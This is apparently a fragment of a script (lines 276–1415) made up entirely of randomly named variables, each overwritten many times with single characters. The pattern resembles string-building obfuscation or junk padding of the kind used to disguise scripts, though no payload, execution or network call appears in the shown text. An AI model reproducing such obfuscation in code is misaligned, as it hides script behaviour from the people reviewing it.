276	bxytnf = "C";
277	bxytnf = "X";
278	bxytnf = "s";
279	bxytnf = "M";
280	bxytnf = "D";
281	bxytnf = "H";
282	bxytnf = "I";
283	bxytnf = "e";
284	bxytnf = "M";
285	bxytnf = "L";
286	bxytnf = "G";
287	bxytnf = "x";
288	bxytnf = "T";
289	bxytnf = "v";
290	bxytnf = "M";
291	bxytnf = "u";
292	bxytnf = "v";
293	bxytnf = "Q";
294	bxytnf = "S";
295	bxytnf = "x";
296	bxytnf = "w";
297	bxytnf = "n";
298	bxytnf = "D";
299	bxytnf = "b";
300	bxytnf = "q";
301	bxytnf = "p";
302	bxytnf = "T";
303	bxytnf = "V";
304	bxytnf = "P";
305	bxytnf = "N";
306	zuigw = "x";
307	zuigw = "\\";
308	tvuuo = "F";
309	tvuuo = "k";
310	tvuuo = "i";
311	tvuuo = "U";
312	tvuuo = "L";
313	tvuuo = "p";
314	tvuuo = "t";
315	tvuuo = "l";
316	tvuuo = "j";
317	tvuuo = "R";
318	tvuuo = "v";
319	tvuuo = "e";
320	tvuuo = "h";
321	tvuuo = "M";
322	tvuuo = "b";
323	tvuuo = "i";
324	tvuuo = "F";
325	tvuuo = "p";
326	tvuuo = "y";
327	tvuuo = "R";
328	tvuuo = "W";
329	tvuuo = "I";
330	tvuuo = "q";
331	tvuuo = "W";
332	tvuuo = "r";
333	tvuuo = "O";
334	tvuuo = "y";
335	tvuuo = "f";
336	tvuuo = "w";
337	tvuuo = "G";
338	tvuuo = "Q";
339	tvuuo = "I";
340	tvuuo = "C";
341	tvuuo = "e";
342	tvuuo = "H";
343	tvuuo = "f";
344	tvuuo = "D";
345	tvuuo = "u";
346	tvuuo = "g";
347	tvuuo = "c";
348	tvuuo = "v";
349	tvuuo = "e";
350	mwcuo = "M";
351	mwcuo = "x";
352	mwcuo = "M";
353	mwcuo = "B";
354	mwcuo = "r";
355	mwcuo = "y";
356	mwcuo = "Y";
357	mwcuo = "A";
358	mwcuo = "O";
359	mwcuo = "v";
360	mwcuo = "s";
361	mwcuo = "F";
362	mwcuo = "p";
363	mwcuo = "L";
364	mwcuo = "I";
365	mwcuo = "y";
366	mwcuo = "J";
367	mwcuo = "M";
368	mwcuo = "x";
369	mwcuo = "J";
370	mwcuo = "r";
371	mwcuo = "K";
372	mwcuo = "E";
373	mwcuo = "n";
374	mwcuo = "S";
375	mwcuo = "p";
376	mwcuo = "I";
377	mwcuo = "A";
378	mwcuo = "L";
379	mwcuo = "F";
380	mwcuo = "Y";
381	mwcuo = "S";
382	mwcuo = "M";
383	mwcuo = "J";
384	mwcuo = "E";
385	mwcuo = "a";
386	mwcuo = "w";
387	mwcuo = "M";
388	mwcuo = "r";
389	mwcuo = "z";
390	mwcuo = "s";
391	mwcuo = "t";
392	dvhuhpga = "g";
393	dvhuhpga = "j";
394	dvhuhpga = "v";
395	dvhuhpga = "m";
396	dvhuhpga = "p";
397	dvhuhpga = "z";
398	dvhuhpga = "x";
399	dvhuhpga = "v";
400	dvhuhpga = "f";
401	dvhuhpga = "P";
402	dvhuhpga = "O";
403	dvhuhpga = "f";
404	dvhuhpga = "V";
405	dvhuhpga = "G";
406	dvhuhpga = "M";
407	dvhuhpga = "V";
408	dvhuhpga = "x";
409	dvhuhpga = "b";
410	dvhuhpga = "x";
411	dvhuhpga = "c";
412	dvhuhpga = "O";
413	dvhuhpga = "p";
414	yvshghan = "l";
415	yvshghan = "z";
416	yvshghan = "G";
417	yvshghan = "W";
418	yvshghan = "o";
419	yvshghan = "L";
420	yvshghan = "B";
421	yvshghan = "C";
422	yvshghan = "z";
423	yvshghan = "c";
424	yvshghan = "J";
425	yvshghan = "L";
426	yvshghan = "Z";
427	yvshghan = "a";
428	yvshghan = "Y";
429	yvshghan = "b";
430	yvshghan = "f";
431	yvshghan = "R";
432	yvshghan = "q";
433	yvshghan = "k";
434	yvshghan = "Z";
435	yvshghan = "C";
436	yvshghan = "y";
437	yvshghan = "C";
438	yvshghan = "a";
439	yvshghan = "w";
440	yvshghan = "L";
441	yvshghan = "a";
442	yvshghan = "g";
443	yvshghan = "o";
444	yvshghan = "e";
445	yvshghan = "Y";
446	yvshghan = "u";
447	yvshghan = "T";
448	yvshghan = "B";
449	yvshghan = "t";
450	yvshghan = "f";
451	yvshghan = "X";
452	yvshghan = "j";
453	yvshghan = "v";
454	yvshghan = "N";
455	yvshghan = "R";
456	yvshghan = "P";
457	yvshghan = "k";
458	yvshghan = "F";
459	qxencj = "z";
460	qxencj = "u";
461	qxencj = "B";
462	qxencj = "W";
463	qxencj = "c";
464	qxencj = "r";
465	qxencj = "T";
466	qxencj = "C";
467	qxencj = "r";
468	qxencj = "z";
469	qxencj = "L";
470	qxencj = "q";
471	qxencj = "N";
472	qxencj = "H";
473	qxencj = "F";
474	qxencj = "H";
475	qxencj = "c";
476	qxencj = "b";
477	qxencj = "p";
478	qxencj = "I";
479	qxencj = "R";
480	qxencj = "q";
481	qxencj = "L";
482	qxencj = "&";
483	quxcwaqv = "A";
484	quxcwaqv = "a";
485	quxcwaqv = "Y";
486	quxcwaqv = "B";
487	quxcwaqv = "K";
488	quxcwaqv = "L";
489	quxcwaqv = "O";
490	quxcwaqv = "N";
491	quxcwaqv = "T";
492	quxcwaqv = "A";
493	quxcwaqv = "T";
494	quxcwaqv = "p";
495	quxcwaqv = "u";
496	quxcwaqv = "P";
497	quxcwaqv = "t";
498	quxcwaqv = "L";
499	quxcwaqv = "T";
500	quxcwaqv = "S";
501	quxcwaqv = "h";
502	quxcwaqv = "E";
503	quxcwaqv = "U";
504	quxcwaqv = "%";
505	posczxh = "m";
506	posczxh = "Z";
507	posczxh = "D";
508	posczxh = "A";
509	posczxh = "o";
510	posczxh = "f";
511	posczxh = "l";
512	posczxh = "r";
513	posczxh = "v";
514	posczxh = "R";
515	posczxh = "I";
516	posczxh = "d";
517	posczxh = "u";
518	posczxh = "A";
519	posczxh = "u";
520	posczxh = "b";
521	posczxh = "f";
522	posczxh = "K";
523	posczxh = "b";
524	posczxh = "v";
525	posczxh = "Y";
526	posczxh = "T";
527	posczxh = "Q";
528	posczxh = "z";
529	posczxh = "P";
530	posczxh = "1";
531	ucbrdn = "a";
532	ucbrdn = "z";
533	ucbrdn = "w";
534	ucbrdn = "Q";
535	ucbrdn = "P";
536	ucbrdn = "G";
537	ucbrdn = "b";
538	ucbrdn = "W";
539	ucbrdn = "I";
540	ucbrdn = "Y";
541	ucbrdn = "P";
542	gpjkqysq = "Q";
543	gpjkqysq = "d";
544	gpjkqysq = "G";
545	gpjkqysq = "H";
546	gpjkqysq = "l";
547	gpjkqysq = "r";
548	gpjkqysq = "u";
549	gpjkqysq = "J";
550	gpjkqysq = "o";
551	gpjkqysq = "w";
552	gpjkqysq = "Y";
553	gpjkqysq = "g";
554	gpjkqysq = "m";
555	gpjkqysq = "H";
556	gpjkqysq = "I";
557	gpjkqysq = "j";
558	gpjkqysq = "J";
559	gpjkqysq = "E";
560	gpjkqysq = "H";
561	gpjkqysq = "r";
562	gpjkqysq = "w";
563	gpjkqysq = "W";
564	gpjkqysq = "P";
565	gpjkqysq = "P";
566	gpjkqysq = "Q";
567	gpjkqysq = "m";
568	gpjkqysq = "N";
569	gpjkqysq = "o";
570	gpjkqysq = "z";
571	gpjkqysq = "C";
572	gpjkqysq = "E";
573	gpjkqysq = "z";
574	gpjkqysq = "V";
575	gpjkqysq = "E";
576	gpjkqysq = "w";
577	gpjkqysq = "v";
578	gpjkqysq = "g";
579	gpjkqysq = "S";
580	qlgiu = "C";
581	qlgiu = "M";
582	qlgiu = "x";
583	qlgiu = "R";
584	qlgiu = "h";
585	qlgiu = "C";
586	qlgiu = "L";
587	qlgiu = "p";
588	qlgiu = "z";
589	qlgiu = "M";
590	qlgiu = "z";
591	qlgiu = "t";
592	qlgiu = "a";
593	qlgiu = "o";
594	qlgiu = "D";
595	qlgiu = "m";
596	qlgiu = "m";
597	qlgiu = "T";
598	qlgiu = "U";
599	qlgiu = "F";
600	qlgiu = "I";
601	qlgiu = "X";
602	qlgiu = "P";
603	qlgiu = "n";
604	qlgiu = "e";
605	qlgiu = "U";
606	qlgiu = "o";
607	qlgiu = "w";
608	qlgiu = "V";
609	qlgiu = "i";
610	qlgiu = "E";
611	qlgiu = "P";
612	qlgiu = "z";
613	qlgiu = "S";
614	qlgiu = "a";
615	qlgiu = "p";
616	qlgiu = "U";
617	qlgiu = "N";
618	qlgiu = "U";
619	qlgiu = "D";
620	qlgiu = "a";
621	qlgiu = "K";
622	duihxcr = "k";
623	duihxcr = "t";
624	duihxcr = "v";
625	duihxcr = "L";
626	duihxcr = "i";
627	duihxcr = "A";
628	duihxcr = "L";
629	duihxcr = "z";
630	duihxcr = "t";
631	duihxcr = "p";
632	duihxcr = "g";
633	duihxcr = "s";
634	duihxcr = "J";
635	duihxcr = "e";
636	duihxcr = "A";
637	duihxcr = "H";
638	duihxcr = "a";
639	duihxcr = "b";
640	duihxcr = "i";
641	duihxcr = "B";
642	duihxcr = "C";
643	duihxcr = "g";
644	duihxcr = "f";
645	duihxcr = "E";
646	duihxcr = "D";
647	duihxcr = "w";
648	duihxcr = "i";
649	duihxcr = "t";
650	duihxcr = "P";
651	duihxcr = "Q";
652	duihxcr = "Z";
653	duihxcr = "V";
654	duihxcr = "P";
655	duihxcr = "s";
656	duihxcr = "Z";
657	duihxcr = "t";
658	duihxcr = "j";
659	duihxcr = "a";
660	duihxcr = "U";
661	duihxcr = "U";
662	khwqryrdg = "q";
663	khwqryrdg = "X";
664	khwqryrdg = "E";
665	khwqryrdg = "W";
666	khwqryrdg = "A";
667	khwqryrdg = "I";
668	khwqryrdg = "d";
669	khwqryrdg = "H";
670	khwqryrdg = "o";
671	khwqryrdg = "b";
672	khwqryrdg = "V";
673	khwqryrdg = "J";
674	khwqryrdg = "w";
675	khwqryrdg = "Z";
676	khwqryrdg = "r";
677	khwqryrdg = "g";
678	khwqryrdg = "I";
679	khwqryrdg = "l";
680	khwqryrdg = "X";
681	khwqryrdg = "f";
682	khwqryrdg = "V";
683	khwqryrdg = "I";
684	khwqryrdg = "J";
685	khwqryrdg = "v";
686	khwqryrdg = "T";
687	khwqryrdg = "A";
688	khwqryrdg = "T";
689	khwqryrdg = "K";
690	khwqryrdg = "U";
691	khwqryrdg = "w";
692	khwqryrdg = "C";
693	ugjdtjbkm = "S";
694	ugjdtjbkm = "w";
695	ugjdtjbkm = "Q";
696	ugjdtjbkm = "u";
697	ugjdtjbkm = "d";
698	ugjdtjbkm = "M";
699	ugjdtjbkm = "W";
700	ugjdtjbkm = "p";
701	ugjdtjbkm = "S";
702	ugjdtjbkm = "f";
703	ugjdtjbkm = "H";
704	ugjdtjbkm = "P";
705	ugjdtjbkm = "r";
706	ugjdtjbkm = "Y";
707	ugjdtjbkm = "z";
708	ugjdtjbkm = "u";
709	ugjdtjbkm = "N";
710	ugjdtjbkm = "C";
711	ugjdtjbkm = "a";
712	ugjdtjbkm = "n";
713	ugjdtjbkm = "D";
714	ugjdtjbkm = "y";
715	ugjdtjbkm = "r";
716	ugjdtjbkm = "k";
717	dwnxz = "v";
718	dwnxz = "M";
719	dwnxz = "v";
720	dwnxz = "T";
721	ftqwl = "y";
722	ftqwl = "A";
723	ftqwl = "s";
724	ftqwl = "_";
725	neqcjc = "z";
726	neqcjc = "M";
727	neqcjc = "f";
728	neqcjc = "l";
729	neqcjc = "P";
730	neqcjc = "e";
731	neqcjc = "B";
732	neqcjc = "W";
733	neqcjc = "j";
734	neqcjc = "d";
735	neqcjc = "q";
736	xlhbsg = "B";
737	xlhbsg = "W";
738	xlhbsg = "D";
739	xlhbsg = "s";
740	xlhbsg = "K";
741	xlhbsg = "h";
742	xlhbsg = "D";
743	xlhbsg = "p";
744	xlhbsg = "N";
745	xlhbsg = "K";
746	xlhbsg = "P";
747	xlhbsg = "R";
748	xlhbsg = "g";
749	xlhbsg = "e";
750	xlhbsg = "Z";
751	xlhbsg = "O";
752	xlhbsg = "M";
753	xlhbsg = "N";
754	xlhbsg = "y";
755	xlhbsg = "V";
756	xlhbsg = "b";
757	xlhbsg = "C";
758	xlhbsg = "S";
759	xlhbsg = "/";
760	gvttet = "J";
761	gvttet = "z";
762	gvttet = "v";
763	gvttet = "W";
764	gvttet = "e";
765	gvttet = "l";
766	gvttet = "B";
767	gvttet = "A";
768	gvttet = "F";
769	gvttet = "f";
770	gvttet = "s";
771	gvttet = "j";
772	gvttet = "t";
773	gvttet = "a";
774	gvttet = "n";
775	gvttet = "L";
776	gvttet = "z";
777	gvttet = "e";
778	gvttet = "M";
779	gvttet = "m";
780	gvttet = "r";
781	gvttet = "k";
782	gvttet = "v";
783	gvttet = "t";
784	gvttet = "g";
785	zrlykshoc = "S";
786	zrlykshoc = "H";
787	zrlykshoc = "z";
788	zrlykshoc = "W";
789	zrlykshoc = "V";
790	zrlykshoc = "C";
791	zrlykshoc = "B";
792	zrlykshoc = "t";
793	zrlykshoc = "v";
794	zrlykshoc = "X";
795	zrlykshoc = "w";
796	zrlykshoc = "L";
797	zrlykshoc = "P";
798	zrlykshoc = "A";
799	zrlykshoc = "M";
800	zrlykshoc = "J";
801	zrlykshoc = "H";
802	zrlykshoc = "f";
803	zrlykshoc = "g";
804	zrlykshoc = "G";
805	zrlykshoc = "Y";
806	onhocl = "j";
807	onhocl = "C";
808	onhocl = "O";
809	onhocl = "H";
810	onhocl = "m";
811	onhocl = "z";
812	onhocl = "D";
813	onhocl = "s";
814	onhocl = "F";
815	onhocl = "Q";
816	onhocl = "K";
817	onhocl = "T";
818	onhocl = "l";
819	egbqkk = "s";
820	egbqkk = "f";
821	egbqkk = "B";
822	egbqkk = "x";
823	egbqkk = "M";
824	egbqkk = "n";
825	egbqkk = "b";
826	egbqkk = "O";
827	egbqkk = "Y";
828	egbqkk = "k";
829	egbqkk = "g";
830	egbqkk = "m";
831	egbqkk = "K";
832	egbqkk = "h";
833	egbqkk = "R";
834	egbqkk = "Q";
835	egbqkk = "G";
836	egbqkk = "m";
837	egbqkk = "M";
838	egbqkk = "s";
839	egbqkk = "v";
840	egbqkk = "y";
841	egbqkk = "p";
842	egbqkk = "O";
843	egbqkk = "m";
844	egbqkk = "L";
845	xplvnhbb = "D";
846	xplvnhbb = "y";
847	xplvnhbb = "x";
848	xplvnhbb = "Q";
849	xplvnhbb = "K";
850	xplvnhbb = "Y";
851	xplvnhbb = "a";
852	xplvnhbb = "z";
853	xplvnhbb = "J";
854	xplvnhbb = "f";
855	xplvnhbb = "d";
856	xplvnhbb = "P";
857	xplvnhbb = "o";
858	xplvnhbb = "w";
859	xplvnhbb = "w";
860	xplvnhbb = "h";
861	xplvnhbb = "F";
862	xplvnhbb = "r";
863	xplvnhbb = "s";
864	xplvnhbb = "x";
865	xplvnhbb = "L";
866	xplvnhbb = "u";
867	xplvnhbb = "t";
868	xplvnhbb = "d";
869	xplvnhbb = "\"";
870	hncuelcp = "g";
871	hncuelcp = "U";
872	hncuelcp = "A";
873	hncuelcp = "A";
874	hncuelcp = "f";
875	hncuelcp = "v";
876	hncuelcp = "q";
877	hncuelcp = "E";
878	hncuelcp = "L";
879	hncuelcp = "n";
880	hncuelcp = "e";
881	hncuelcp = "V";
882	hncuelcp = "W";
883	hncuelcp = "o";
884	hncuelcp = "p";
885	hncuelcp = "F";
886	hncuelcp = "L";
887	hncuelcp = "u";
888	hncuelcp = "G";
889	hncuelcp = "c";
890	hncuelcp = "A";
891	hncuelcp = "R";
892	hncuelcp = "o";
893	plmvazk = "e";
894	plmvazk = "R";
895	plmvazk = "D";
896	plmvazk = "8";
897	zmzwpyss = "m";
898	zmzwpyss = "l";
899	zmzwpyss = "e";
900	zmzwpyss = "D";
901	zmzwpyss = "C";
902	zmzwpyss = "T";
903	zmzwpyss = "d";
904	zmzwpyss = "K";
905	zmzwpyss = "S";
906	zmzwpyss = "O";
907	zmzwpyss = "e";
908	zmzwpyss = "w";
909	zmzwpyss = "O";
910	zmzwpyss = "j";
911	zmzwpyss = "d";
912	zmzwpyss = "l";
913	zmzwpyss = "b";
914	zmzwpyss = "y";
915	zmzwpyss = "n";
916	zmzwpyss = "B";
917	zmzwpyss = "g";
918	zmzwpyss = "l";
919	zmzwpyss = "N";
920	zmzwpyss = "s";
921	zmzwpyss = "m";
922	zmzwpyss = "k";
923	zmzwpyss = "l";
924	zmzwpyss = "q";
925	zmzwpyss = "o";
926	zmzwpyss = "s";
927	zmzwpyss = "O";
928	zmzwpyss = "I";
929	kfbnh = "T";
930	kfbnh = "c";
931	kfbnh = "m";
932	kfbnh = "c";
933	kfbnh = "Y";
934	kfbnh = "i";
935	kfbnh = "b";
936	kfbnh = "Q";
937	kfbnh = "c";
938	kfbnh = "4";
939	smmsyss = "W";
940	smmsyss = "u";
941	smmsyss = "h";
942	smmsyss = "Y";
943	smmsyss = "y";
944	smmsyss = "D";
945	smmsyss = "I";
946	smmsyss = "J";
947	smmsyss = "C";
948	smmsyss = "W";
949	smmsyss = "g";
950	smmsyss = "E";
951	smmsyss = "y";
952	smmsyss = "U";
953	smmsyss = "T";
954	smmsyss = "D";
955	smmsyss = "h";
956	smmsyss = "h";
957	smmsyss = "l";
958	smmsyss = "U";
959	smmsyss = "m";
960	smmsyss = "S";
961	smmsyss = "i";
962	smmsyss = "Y";
963	smmsyss = "P";
964	smmsyss = "X";
965	smmsyss = "x";
966	smmsyss = "x";
967	smmsyss = "N";
968	smmsyss = "y";
969	smmsyss = "R";
970	smmsyss = "G";
971	smmsyss = "c";
972	smmsyss = "l";
973	smmsyss = "S";
974	smmsyss = "e";
975	smmsyss = "p";
976	smmsyss = "l";
977	smmsyss = "g";
978	smmsyss = "w";
979	smmsyss = "B";
980	smmsyss = "-";
981	qeczfj = "V";
982	qeczfj = "w";
983	qeczfj = "0";
984	folezve = "C";
985	folezve = "W";
986	folezve = "N";
987	folezve = "R";
988	folezve = "T";
989	folezve = "b";
990	folezve = "E";
991	folezve = "A";
992	folezve = "W";
993	folezve = "k";
994	folezve = "H";
995	folezve = "w";
996	folezve = "K";
997	folezve = "s";
998	folezve = "a";
999	folezve = "q";
1000	folezve = "V";
1001	folezve = "Q";
1002	folezve = "b";
1003	folezve = "7";
1004	nrzjp = "Z";
1005	nrzjp = "r";
1006	nrzjp = "A";
1007	nrzjp = "z";
1008	nrzjp = "W";
1009	nrzjp = "j";
1010	nrzjp = "I";
1011	nrzjp = "m";
1012	nrzjp = "Q";
1013	nrzjp = "X";
1014	nrzjp = "O";
1015	nrzjp = "a";
1016	nrzjp = "n";
1017	nrzjp = "s";
1018	xwjsptv = "b";
1019	xwjsptv = "u";
1020	xwjsptv = "t";
1021	xwjsptv = "l";
1022	xwjsptv = "P";
1023	xwjsptv = "S";
1024	xwjsptv = "S";
1025	xwjsptv = "v";
1026	xwjsptv = "Y";
1027	xwjsptv = "P";
1028	xwjsptv = "K";
1029	xwjsptv = "k";
1030	xwjsptv = "M";
1031	xwjsptv = "I";
1032	xwjsptv = "G";
1033	xwjsptv = "R";
1034	xwjsptv = "e";
1035	xwjsptv = "b";
1036	xwjsptv = "I";
1037	xwjsptv = "P";
1038	xwjsptv = "E";
1039	xwjsptv = "X";
1040	xwjsptv = "w";
1041	xwjsptv = "E";
1042	xwjsptv = "Q";
1043	xwjsptv = "I";
1044	xwjsptv = "L";
1045	xwjsptv = "J";
1046	xwjsptv = "t";
1047	xwjsptv = "g";
1048	xwjsptv = "C";
1049	xwjsptv = "P";
1050	xwjsptv = "E";
1051	xwjsptv = "C";
1052	xwjsptv = "B";
1053	xwjsptv = "e";
1054	xwjsptv = "B";
1055	xwjsptv = "b";
1056	xwjsptv = "p";
1057	xwjsptv = "Q";
1058	qdostgwwk = "e";
1059	qdostgwwk = "S";
1060	qdostgwwk = "H";
1061	qdostgwwk = "Q";
1062	qdostgwwk = "e";
1063	qdostgwwk = "I";
1064	qdostgwwk = "S";
1065	qdostgwwk = "x";
1066	qdostgwwk = "w";
1067	qdostgwwk = "G";
1068	qdostgwwk = "G";
1069	qdostgwwk = "r";
1070	qdostgwwk = "L";
1071	qdostgwwk = "u";
1072	qdostgwwk = "w";
1073	qdostgwwk = "5";
1074	zsaxpuil = "O";
1075	zsaxpuil = "X";
1076	zsaxpuil = "Q";
1077	zsaxpuil = "x";
1078	zsaxpuil = "f";
1079	zsaxpuil = "v";
1080	zsaxpuil = "k";
1081	zsaxpuil = "U";
1082	zsaxpuil = "w";
1083	zsaxpuil = "Q";
1084	zsaxpuil = "D";
1085	zsaxpuil = "a";
1086	zsaxpuil = "z";
1087	zsaxpuil = "m";
1088	zsaxpuil = "p";
1089	zsaxpuil = "T";
1090	zsaxpuil = "E";
1091	zsaxpuil = "H";
1092	zsaxpuil = "F";
1093	zsaxpuil = "i";
1094	zsaxpuil = "b";
1095	zsaxpuil = "L";
1096	zsaxpuil = "T";
1097	zsaxpuil = "l";
1098	zsaxpuil = "k";
1099	zsaxpuil = "K";
1100	zsaxpuil = "t";
1101	zsaxpuil = "u";
1102	zsaxpuil = "K";
1103	zsaxpuil = "Z";
1104	zsaxpuil = "O";
1105	byloilaqh = "u";
1106	byloilaqh = "t";
1107	byloilaqh = "b";
1108	byloilaqh = "p";
1109	byloilaqh = "h";
1110	byloilaqh = "z";
1111	byloilaqh = "O";
1112	byloilaqh = "j";
1113	byloilaqh = "g";
1114	byloilaqh = "c";
1115	byloilaqh = "y";
1116	byloilaqh = "E";
1117	byloilaqh = "W";
1118	byloilaqh = "g";
1119	byloilaqh = "M";
1120	byloilaqh = "l";
1121	byloilaqh = "n";
1122	byloilaqh = "o";
1123	byloilaqh = "y";
1124	byloilaqh = "N";
1125	byloilaqh = "s";
1126	byloilaqh = "b";
1127	byloilaqh = "N";
1128	byloilaqh = "c";
1129	byloilaqh = "i";
1130	rikwl = "W";
1131	rikwl = "R";
1132	rikwl = "R";
1133	rikwl = "H";
1134	rikwl = "F";
1135	rikwl = "R";
1136	rikwl = "Q";
1137	rikwl = "s";
1138	rikwl = "e";
1139	rikwl = "c";
1140	vbqayg = "W";
1141	vbqayg = "S";
1142	vbqayg = "w";
1143	vbqayg = "z";
1144	vbqayg = "f";
1145	vbqayg = "c";
1146	vbqayg = "f";
1147	vbqayg = "X";
1148	vbqayg = "Z";
1149	vbqayg = "X";
1150	vbqayg = "K";
1151	vbqayg = "R";
1152	vbqayg = "h";
1153	vbqayg = "A";
1154	vbqayg = "H";
1155	vbqayg = "x";
1156	wmqdgek = "S";
1157	wmqdgek = "Y";
1158	wmqdgek = "Y";
1159	wmqdgek = "h";
1160	wmqdgek = "K";
1161	wmqdgek = "M";
1162	wmqdgek = "n";
1163	wmqdgek = "v";
1164	wmqdgek = "p";
1165	wmqdgek = "k";
1166	wmqdgek = "I";
1167	wmqdgek = "I";
1168	wmqdgek = "C";
1169	wmqdgek = "b";
1170	wmqdgek = "J";
1171	wmqdgek = "t";
1172	wmqdgek = "l";
1173	wmqdgek = "p";
1174	wmqdgek = "H";
1175	wmqdgek = "C";
1176	wmqdgek = "k";
1177	wmqdgek = "M";
1178	wmqdgek = "M";
1179	wmqdgek = "H";
1180	wgrpaec = "q";
1181	wgrpaec = "u";
1182	wgrpaec = "e";
1183	wgrpaec = "q";
1184	wgrpaec = "N";
1185	wgrpaec = "O";
1186	wgrpaec = "S";
1187	wgrpaec = "z";
1188	wgrpaec = "t";
1189	wgrpaec = "o";
1190	wgrpaec = "F";
1191	wgrpaec = "Y";
1192	wgrpaec = "w";
1193	wgrpaec = "C";
1194	wgrpaec = "E";
1195	wgrpaec = "p";
1196	wgrpaec = "O";
1197	wgrpaec = "x";
1198	wgrpaec = "a";
1199	wgrpaec = "S";
1200	wgrpaec = "V";
1201	wgrpaec = "H";
1202	wgrpaec = "f";
1203	wgrpaec = "R";
1204	wgrpaec = "h";
1205	wgrpaec = "K";
1206	wgrpaec = "w";
1207	wgrpaec = "r";
1208	wgrpaec = "I";
1209	wgrpaec = "F";
1210	wgrpaec = "y";
1211	wgrpaec = ".";
1212	ddheyetm = "v";
1213	ddheyetm = "F";
1214	ddheyetm = "W";
1215	ddheyetm = "C";
1216	ddheyetm = "f";
1217	ddheyetm = "D";
1218	ddheyetm = "b";
1219	ddheyetm = "X";
1220	ddheyetm = "u";
1221	ddheyetm = "Z";
1222	ddheyetm = "B";
1223	ddheyetm = "a";
1224	ddheyetm = "V";
1225	ddheyetm = "P";
1226	ddheyetm = "H";
1227	ddheyetm = "b";
1228	ddheyetm = "v";
1229	ddheyetm = "E";
1230	ddheyetm = "N";
1231	ddheyetm = "V";
1232	ddheyetm = "w";
1233	ddheyetm = "s";
1234	ddheyetm = "j";
1235	ddheyetm = "G";
1236	ddheyetm = "O";
1237	ddheyetm = "D";
1238	ddheyetm = "f";
1239	ddheyetm = "I";
1240	ddheyetm = "R";
1241	ddheyetm = "f";
1242	ddheyetm = "x";
1243	ddheyetm = "o";
1244	ddheyetm = "H";
1245	ddheyetm = "N";
1246	ddheyetm = "J";
1247	ddheyetm = "R";
1248	ddheyetm = "q";
1249	ddheyetm = "T";
1250	ddheyetm = "m";
1251	ddheyetm = "H";
1252	ddheyetm = "V";
1253	ddheyetm = "r";
1254	ddheyetm = "F";
1255	ddheyetm = "a";
1256	zhfmz = "O";
1257	zhfmz = "t";
1258	zhfmz = "i";
1259	zhfmz = "F";
1260	zhfmz = "m";
1261	zhfmz = "H";
1262	zhfmz = "Z";
1263	zhfmz = "o";
1264	zhfmz = "i";
1265	zhfmz = "y";
1266	zhfmz = "g";
1267	zhfmz = "a";
1268	zhfmz = "a";
1269	zhfmz = "I";
1270	zhfmz = "w";
1271	zhfmz = "D";
1272	zhfmz = "U";
1273	zhfmz = "V";
1274	zhfmz = "G";
1275	zhfmz = "S";
1276	zhfmz = "w";
1277	jvtqrkfm = "x";
1278	jvtqrkfm = "T";
1279	jvtqrkfm = "F";
1280	jvtqrkfm = "V";
1281	jvtqrkfm = "P";
1282	jvtqrkfm = "W";
1283	jvtqrkfm = "F";
1284	jvtqrkfm = "W";
1285	jvtqrkfm = "O";
1286	jvtqrkfm = "b";
1287	jvtqrkfm = "k";
1288	jvtqrkfm = "n";
1289	jvtqrkfm = "k";
1290	jvtqrkfm = "t";
1291	jvtqrkfm = "E";
1292	jvtqrkfm = "V";
1293	jvtqrkfm = "L";
1294	jvtqrkfm = "B";
1295	jvtqrkfm = "C";
1296	jvtqrkfm = "c";
1297	jvtqrkfm = "J";
1298	jvtqrkfm = "G";
1299	jvtqrkfm = "C";
1300	jvtqrkfm = "b";
1301	jvtqrkfm = "Y";
1302	jvtqrkfm = "r";
1303	jvtqrkfm = "q";
1304	jvtqrkfm = "u";
1305	jvtqrkfm = "X";
1306	jvtqrkfm = "N";
1307	jvtqrkfm = "s";
1308	jvtqrkfm = "T";
1309	jvtqrkfm = "h";
1310	jvtqrkfm = "D";
1311	jvtqrkfm = "m";
1312	jvtqrkfm = "s";
1313	jvtqrkfm = "p";
1314	jvtqrkfm = "A";
1315	jvtqrkfm = "J";
1316	jvtqrkfm = "j";
1317	jvtqrkfm = "r";
1318	jvtqrkfm = "i";
1319	jvtqrkfm = "r";
1320	vxnuekh = "H";
1321	vxnuekh = "A";
1322	vxnuekh = "r";
1323	vxnuekh = "c";
1324	vxnuekh = "M";
1325	vxnuekh = "Y";
1326	vxnuekh = "h";
1327	vxnuekh = "k";
1328	vxnuekh = "e";
1329	vxnuekh = "O";
1330	vxnuekh = "R";
1331	vxnuekh = "s";
1332	vxnuekh = "n";
1333	vxnuekh = "C";
1334	vxnuekh = "b";
1335	vxnuekh = "s";
1336	vxnuekh = "d";
1337	vxnuekh = "e";
1338	vxnuekh = "P";
1339	vxnuekh = "F";
1340	vxnuekh = "z";
1341	vxnuekh = "H";
1342	vxnuekh = "p";
1343	vxnuekh = "F";
1344	vxnuekh = "C";
1345	vxnuekh = "O";
1346	vxnuekh = "S";
1347	vxnuekh = "W";
1348	vxnuekh = "T";
1349	vxnuekh = "I";
1350	vxnuekh = "Y";
1351	vxnuekh = "d";
1352	vxnuekh = "P";
1353	vxnuekh = "E";
1354	vxnuekh = "l";
1355	vxnuekh = "r";
1356	vxnuekh = "J";
1357	vxnuekh = "D";
1358	vxnuekh = "9";
1359	srzhdt = "P";
1360	srzhdt = "q";
1361	srzhdt = "r";
1362	srzhdt = "O";
1363	srzhdt = "t";
1364	srzhdt = "Z";
1365	srzhdt = "v";
1366	srzhdt = "h";
1367	srzhdt = "b";
1368	srzhdt = "L";
1369	srzhdt = "P";
1370	srzhdt = "R";
1371	srzhdt = "r";
1372	srzhdt = "g";
1373	srzhdt = "J";
1374	srzhdt = "r";
1375	srzhdt = "P";
1376	srzhdt = "R";
1377	srzhdt = "F";
1378	srzhdt = "G";
1379	srzhdt = "j";
1380	srzhdt = "C";
1381	srzhdt = "O";
1382	srzhdt = "n";
1383	srzhdt = "y";
1384	srzhdt = "F";
1385	srzhdt = "T";
1386	srzhdt = "D";
1387	srzhdt = "M";
1388	srzhdt = "T";
1389	srzhdt = "J";
1390	srzhdt = "Q";
1391	srzhdt = "L";
1392	srzhdt = "o";
1393	srzhdt = "f";
1394	srzhdt = "w";
1395	srzhdt = " ";
1396	cxoagkoy = "j";
1397	cxoagkoy = "c";
1398	cxoagkoy = "b";
1399	cxoagkoy = "a";
1400	cxoagkoy = "X";
1401	cxoagkoy = "K";
1402	cxoagkoy = "p";
1403	cxoagkoy = "m";
1404	cxoagkoy = "B";
1405	cxoagkoy = "f";
1406	cxoagkoy = "D";
1407	cxoagkoy = "V";
1408	cxoagkoy = "h";
1409	cxoagkoy = "v";
1410	lpsad = "K";
1411	lpsad = "m";
1412	lpsad = "u";
1413	lpsad = "F";
1414	lpsad = "s";
1415	lpsad = "m";
